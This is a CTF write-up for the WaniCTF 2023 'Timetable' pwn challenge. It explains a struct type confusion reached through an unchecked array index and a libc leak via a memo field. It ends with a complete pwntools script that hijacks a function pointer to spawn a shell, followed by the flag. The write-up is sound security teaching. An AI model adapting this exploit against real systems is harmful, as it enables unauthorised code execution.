Timetable
In WaniCTF 2023, 294 points
Is your timetable alright?
nc timetable-pwn.wanictf.org 9008
Challenge files: pwn-TimeTable.zip
The program allows the user to select certain classes to be added to a timetable.
Each class is represented by a comma
struct:
typedef struct {
char *name;
int type;
void *detail;
} comma;
The type
field is 0
if the class is an elective and 1
if the class is mandatory.
The detail
pointer points to either a mandatory_subject
struct or an elective_subject
struct:
typedef struct {
char *name;
int time[2];
char *target[4];
char memo[32];
char *professor;
} mandatory_subject;
typedef struct {
char *name;
int time[2];
char memo[32];
char *professor;
int (*IsAvailable)(student *);
} elective_subject;
The IsAvailable
function pointer takes a pointer to a student
struct:
typedef struct {
char name[10];
int studentNumber;
int EnglishScore;
} student;
This function pointer is called to determine if a student can take a specific elective:
void register_elective_class() {
int i;
elective_subject choice;
print_table(timetable);
printf("-----Elective Class List-----\n");
print_elective_list();
printf(">");
scanf("%d", &i);
choice = elective_list[i];
if (choice.IsAvailable(&user) == 1) { // here!
timetable[choice.time[0]][choice.time[1]].name = choice.name;
// The type of timetable is 0 by default since it is a global value.
timetable[choice.time[0]][choice.time[1]].detail = &elective_list[i];
} else {
printf("You can't register this class\n");
}
}
Since we control the name
of the student
, overwriting the IsAvailable
pointer to system
would allow us to achieve RCE.
The available subjects are already preinitialized:
mandatory_subject mandatory_list[3] = {computer_system, digital_circuit,
system_control};
elective_subject elective_list[2] = {world, intellect};
Type confusion
The existence of a void*
that can point to two different structs, including one with a function pointer, is pretty suspicious, especially in the context of a CTF challenge.
Here's the two structs side by side so we can better visualize how they overlap:
We observe that the memo
char array of the mandatory_subject
struct overlaps nicely with the function pointer in the elective_subject
struct.
Now, we just need to find somewhere in the code that results in type confusion.
Array OOB access
This opportunity is provided in the register_mandatory_class
function:
void register_mandatory_class() {
int i;
mandatory_subject choice;
print_table(timetable);
printf("-----Mandatory Class List-----\n");
print_mandatory_list();
printf(">");
scanf("%d", &i);
choice = mandatory_list[i]; // !!!!
printf("%d\n", choice.time[0]);
timetable[choice.time[0]][choice.time[1]].name = choice.name;
timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}
There is no bounds checking performed when retrieving a mandatory class from the list.
Since the mandatory_list
is located at 0x4050C0
and the elective_list
is located at 0x4051E0
, 288 bytes away. Unfortunately, 288 is not evenly divisible by 88, the size of a mandatory_subject
struct. So we have to target the next item in the elective_list
, "The World of Intellect", which is located at 0x405220
. This subject can be perfectly accessed using index 4 (0x405220-0x4050C0 == 88 * 4
).
Exploitation
Remember how the memo
char array of a mandatory_subject
overlaps the function pointer of an elective_subject
? Luckily for us, there are functions that allow us to read and write the memo
field of a subject:
void write_memo() {
comma *choice = choose_time(timetable);
printf("WRITE MEMO FOR THE CLASS\n");
if (choice->type == MANDATORY_CLASS_CODE) {
read(0, ((mandatory_subject *)choice->detail)->memo, 30);
} else if (choice->type == ELECTIVE_CLASS_CODE) {
read(0, ((elective_subject *)choice->detail)->memo, 30);
}
}
void print_mandatory_subject(mandatory_subject *mandatory_subjects) {
printf("Class Name : %s\n", mandatory_subjects->name);
// ...
// ...
printf("Short Memo : %s\n", mandatory_subjects->memo);
}
But before we can overwrite the function pointer to system
, we would first need to leak a libc address.
Luckily for us, "The World of Intellect" is the last element in the elective_subject
array, which borders the bss region. The first symbol in the BSS region is stdout@GLIBC_2.2.5
, which is a pointer to _IO_2_1_stdout_
, the stdout file stream object located in libc:
By using the type confusion vulnerability, we can completely overwrite the elective's subject prof
pointer and the function pointer. Thus, when the memo
array is printed, the value of stdout@GLIBC_2.2.5
will be leaked as well, allowing us to determine the libc base address:
Now, all that's left is to overwrite the function pointer to system
and register the elective to trigger a call to system("/bin/sh")
.
Solve script
from pwn import *
e = ELF("chall")
libc = ELF("libc.so.6", checksec=False)
context.binary = e
def setup():
p = remote("timetable-pwn.wanictf.org",9008)
return p
if __name__ == '__main__':
p = setup()
safe_ptr = 0x0000000040314a
# Register user with name /bin/sh
p.sendline("/bin/sh")
p.sendline("0")
p.sendline("0")
p.sendline("0")
# register elective as mandatory class
p.sendline("1")
p.sendline("4")
# Edit memo
p.sendline("4")
p.sendline("FRI 3")
p.send(b"A"*16)
p.clean()
# Leak libc
p.sendline("3")
p.sendline("FRI 3")
p.recvuntil("Short Memo : AAAAAAAAAAAAAAAA")
l = u64(p.recvline()[:-1]+b"\0\0")
libc.address = l - libc.sym._IO_2_1_stdout_
print(hex(libc.address))
# Edit memo to overwrite function pointer
p.sendline("4")
p.sendline("FRI 3")
p.send(p64(safe_ptr)+p64(libc.sym.system))
p.clean()
# Register elective to trigger system("/bin/sh")
p.sendline("2")
p.sendline("1")
p.interactive()
Flag
FLAG{Do_n0t_confus3_mandatory_and_el3ctive}